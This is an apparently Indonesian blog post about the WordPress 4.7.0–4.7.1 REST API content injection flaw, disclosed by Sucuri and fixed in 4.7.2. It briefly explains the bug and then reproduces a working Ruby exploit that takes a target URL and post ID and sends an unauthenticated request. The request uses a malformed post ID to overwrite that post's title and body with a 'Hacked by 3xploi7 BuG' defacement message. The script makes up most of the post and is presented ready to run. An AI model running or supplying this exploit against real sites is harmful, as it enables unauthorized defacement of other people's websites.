Dediilham

Exploit WordPress 4.7.0 - 4.7.1 Content Injection - Hello 3xploi7er, udah lama nih kita tidak membahas exploit. Pada artikel yang berjudul Exploit WordPress 4.7.0 - 4.7.1 Content Injection kita akan membahas exploit teranyar ini.

Securi Firewall setelah menang uji beberapa kerentanan WAF saat Menguji Wordpress securi menemukan sebuah bug pada rest api. Kerentanan ini memungkinkan user yang tidak mempunyai hak, dapat mengubah isi dari judul dan isi artikel.

Setelah menemukan hal itu securi langsung mengungkapkan kepada tim keamanan Wordpress dan langsung ditangkap dengan baik. Mereka berdua mengkoordinasi hal tersebut dan langsung ditambal oleh pihak Wordpress Sebelum menjadi mangsa para hacker.

Perbaikan bug ini telah dilakukan Dan sekarang sudah diperbaiki pada versi 4.7.2.

Privilege Escalation ini pada awalnya di aktifkan secara default di versi 4.7.0. Salah satu REST ini memungkinan melihat, mengedit, menghapus & membuat posting. Dalam kondisi tertentu bisa saja pengunjung lain dapat menggunakan fitur ini.

Hal inilah yang di khawatirkan oleh wordpress.

==================================================================

# Exploit Title: WP Content Injection
# Date: 31 Jan' 2017
# Exploit Author: Harsh Jaiswal
# Vendor Homepage: http://wordpress.org
# Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
# Tested on: Backbox ubuntu Linux
# Based on https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Credits : Marc, Sucuri, Brute
# usage : gem install rest-client
# Lang : Ruby

require 'rest-client'
require 'json'
puts "Enter Target URI (With wp directory)"
targeturi = gets.chomp
puts "Enter Post ID"
postid = gets.chomp.to_i
response = RestClient.post(
"#{targeturi}/index.php/wp-json/wp/v2/posts/#{postid}",
{
"id" => "#{postid}justrawdata",
"title" => "Hacked by 3xploi7 BuG",
"content" => " Hacked by 3xploi7 BuG, please update your wordpress version"
}.to_json,
:content_type => :json,
:accept => :json
) {|response, request, result| response }
if(response.code == 200)
puts "Done! '#{targeturi}/index.php?p=#{postid}'"

else
puts "This site is not Vulnerable"
end